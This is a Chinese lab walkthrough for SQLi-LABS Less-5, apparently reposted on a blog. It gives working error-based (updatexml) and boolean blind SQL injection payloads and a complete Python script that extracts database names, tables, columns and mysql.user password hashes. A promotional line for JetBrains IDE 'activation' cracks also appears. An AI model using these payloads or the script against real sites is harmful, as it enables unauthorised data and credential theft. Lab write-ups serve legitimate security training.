SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」sqlilabs第五关,sqli-labesless-5,sqlilabsless5

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

第五关是单引号字符型注入,推荐使用报错注入、布尔盲注

方式一:报错注入

推荐文章:报错注入使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1′

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 单引号导致,页面显示数据库的报错信息,确定注入点为单引号字符型

第二步、判断报错报错函数是否可用

地址栏输入:?id=0′ and updatexml(1,0x7e,3) — a

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 页面正常报错,确定报错函数可用。

第三步、脱库

获取所有数据库,地址栏输入:

?id=1' and updatexml(1,
	substr(
      concat(0x7e,
          (select group_concat(schema_name) 
          from information_schema.schemata)
       )
	,34,31)
,3) -- a

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

获取 security 库中的所有表,地址栏输入:

?id=1' and updatexml(1,
	substr(
      concat(0x7e,
          (select group_concat(table_name) 
          from information_schema.tables
          where table_schema="security")
       )
	,1,31)
,3) -- a

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 获取 users 表中的所有字段,地址栏输入:

?id=1' and updatexml(1,
	substr(
      concat(0x7e,
          (select group_concat(column_name) 
          from information_schema.columns
          where table_schema="security" and table_name="users")
       )
	,1,31)
,3) -- a

 SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 获取数据库的管理员的密码,地址栏输入:

?id=1' and updatexml(1,
	concat(0x7e,(
        select group_concat(user,password) 
        from mysql.user 
        where user = 'mituan')
     ),
3) -- a

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 

方式二:布尔盲注

推荐文章:布尔盲注使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1′ and 1 — a,页面正常显示 

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 地址栏输入:?id=1′ and 0 — a,页面异常(空)显示

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

第二步、判断长度

判断当前所有数据库的长度是否大于2(肯定大于),地址栏输入:

?id=1' and length(
	(select group_concat(schema_name)
    from information_schema.schemata)
) > 2 -- a

 SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 页面正常显示,确定payload可用,文末使用脚本自动化判断

第三步、枚举字符

判断所有数据库名的第1个字符的ascll码是否大于1(肯定大于1),地址栏输入:

?id=1' and ascii(
	substr(
		(select group_concat(schema_name)
		from information_schema.schemata)
	,1,1)
) >1 -- a

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 页面正常显示,确定payload可用,文末使用脚本枚举字符。

第四步、脱库

盲注脚本如下,按照提示修改:

import requests

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://70ee4e0d244e4ca5a00526d0f4e48b26.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
	                (select group_concat(user,password)
                    from mysql.user)
                ) = {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
	                substr(
		                (select group_concat(user,password)
		                from mysql.user)
	                ,{n},1)
                ) = {r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

获取所有数据库

判断长度的payload:

?id=1' and length(
	(select group_concat(schema_name)
    from information_schema.schemata)
) ={n} -- a

枚举字符的payload:

?id=1' and ascii(
	substr(
		(select group_concat(schema_name)
		from information_schema.schemata)
	,{n},1)
) ={r} -- a

执行结果:

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 获取 security 库中的所有表

判断长度的payload:

?id=1' and length(
	(select group_concat(table_name)
    from information_schema.tables
    where table_schema="security")
) ={n} -- a

枚举字符的payload:

?id=1' and ascii(
	substr(
		(select group_concat(table_name)
		from information_schema.tables
        where table_schema="security")
	,{n},1)
) ={r} -- a

执行结果:

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 获取 users 表的所有字段

判断长度的payload:

?id=1' and length(
	(select group_concat(column_name)
    from information_schema.columns
    where table_schema="security" and table_name="users")
) ={n} -- a

枚举字符的payload:

?id=1' and ascii(
	substr(
		(select group_concat(column_name)
		from information_schema.columns
        where table_schema="security" and table_name="users")
	,{n},1)
) ={r} -- a

执行结果:

SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」

 推荐专栏

《网络安全快速入门》用最短的时间,掌握最核心的网络安全技术。

《靶场通关教程》各种靶场的通关教程,持续更新……

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/187726.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 如何将sql文件导入mysql

    第一步:打在开始界面中找到mysql第二步:双击打开mysql软件。,并输入密码。第三步:如果sql文件的内容中有创建数据库的语句或者你想将表存放在你已有的数据库,在这里就不用创建数据库。第四步:输入“showdatabases;”就能看到自己创建的数据库。第五步:输入“use数据库名”,开始使用这个数据库。第六步:开始导入sql文件,输入“sourcesql文件的路径”(注意你的文件路径要…

    2022年4月4日
    347
  • delphi多线程[通俗易懂]

    delphi多线程[通俗易懂]   Delphi中有一个线程类TThread是用来实现多线程编程的,这个绝大多数Delphi书藉都有说到,但基本上都是对TThread类的几个成员作一简单介绍,再说明一下Execute的实现和Synchronize的用法就完了。然而这并不是多线程编程的全部,我写此文的目的在于对此作一个补充。  线程本质上是进程中一段并发运行的代码。一个进程至少有一个线程,即所谓的主线程。同时还可以有多个子线

    2025年8月22日
    2
  • python的for循环是什么循环_while循环的用法举例

    python的for循环是什么循环_while循环的用法举例在本篇博客中,我们将讨论Python中for循环的原理。我们将从一组基本例子和它的语法开始,还将讨论与for循环关联的else代码块的用处。然后我们将介绍迭代对象、迭代器和迭代器协议,还会学习如何创建自己的迭代对象和迭代器。之后,我们将讨论如何使用迭代对象和迭代器实现for循环,以及利用while循环通过迭代器协议实现for循环逻辑。最后,我们将反编译一…

    2022年8月12日
    6
  • SQL Server 2008 R2 超详细安装图文教程

    SQL Server 2008 R2 超详细安装图文教程一、下载SQLServer2008R2安装文件ed2k://|file|cn_sql_server_2008_r2_enterprise_x86_x64_ia64_dvd_522233.iso

    2022年7月3日
    22
  • 【原创】三星、镁光、海力士内存颗粒命名规则摘录

    【原创】三星、镁光、海力士内存颗粒命名规则摘录 

    2022年6月22日
    112
  • Python中安装requests库总是报错的解决方法

    今晚学爬虫,要安装requests库。文章上说,直接在终端窗口执行如下命令就行。pipinstallrequests然而我还是失败了。在电脑前坐了一个小时,找过很多解决方法的博客,都无济于事。终于看到了有位大佬写的博客,试了下代码。一下就成功了!现分享如下:pipinstallrequests-ihttp://pypi.douban.com/simple–trust…

    2022年4月9日
    375

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号